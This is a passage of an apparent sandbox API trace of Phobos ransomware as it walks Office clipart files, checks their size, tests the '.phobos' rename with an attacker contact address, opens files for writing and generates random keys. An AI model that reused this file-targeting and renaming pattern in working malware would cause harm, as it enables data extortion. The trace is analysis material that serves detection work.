pbBuffer=0x411fa90) returned 1 [0151.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.722] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2100) returned 1 [0151.722] CloseHandle (hObject=0x564) returned 1 [0151.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 0x220 [0151.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.723] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.826] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5620) returned 1 [0151.826] CloseHandle (hObject=0x564) returned 1 [0151.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 0x220 [0151.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.830] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.832] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6912) returned 1 [0151.832] CloseHandle (hObject=0x564) returned 1 [0151.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf")) returned 0x220 [0151.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.833] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.836] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5708) returned 1 [0151.836] CloseHandle (hObject=0x564) returned 1 [0151.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 0x220 [0151.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.839] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=40230) returned 1 [0151.839] CloseHandle (hObject=0x564) returned 1 [0151.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 0x220 [0151.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.839] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.846] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33948) returned 1 [0151.846] CloseHandle (hObject=0x564) returned 1 [0151.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf")) returned 0x220 [0151.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.860] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.906] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26148) returned 1 [0151.906] CloseHandle (hObject=0x564) returned 1 [0151.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf")) returned 0x220 [0151.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.906] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.907] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=54964) returned 1 [0151.907] CloseHandle (hObject=0x564) returned 1 [0151.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf")) returned 0x220 [0151.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.908] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.909] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42272) returned 1 [0151.909] CloseHandle (hObject=0x564) returned 1 [0151.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf")) returned 0x220 [0151.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.909] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.910] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=41906) returned 1 [0151.910] CloseHandle (hObject=0x564) returned 1 [0151.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf")) returned 0x220 [0151.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.910] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.911] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42654) returned 1 [0151.911] CloseHandle (hObject=0x564) returned 1 [0151.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf")) returned 0x220 [0151.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.911] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.916] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28572) returned 1 [0151.916] CloseHandle (hObject=0x564) returned 1 [0151.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf")) returned 0x220 [0151.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.916] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.917] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=40300) returned 1 [0151.917] CloseHandle (hObject=0x564) returned 1 [0151.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf")) returned 0x220 [0151.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.918] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.919] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=49676) returned 1 [0151.919] CloseHandle (hObject=0x564) returned 1 [0151.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf")) returned 0x220 [0151.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.919] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.920] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=44552) returned 1 [0151.920] CloseHandle (hObject=0x564) returned 1 [0151.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf")) returned 0x220 [0151.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.920] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.921] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=57722) returned 1 [0151.921] CloseHandle (hObject=0x564) returned 1 [0151.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf")) returned 0x220 [0151.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.922] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.924] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=29006) returned 1 [0151.924] CloseHandle (hObject=0x564) returned 1 [0151.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199279.wmf")) returned 0x220 [0151.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199279.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 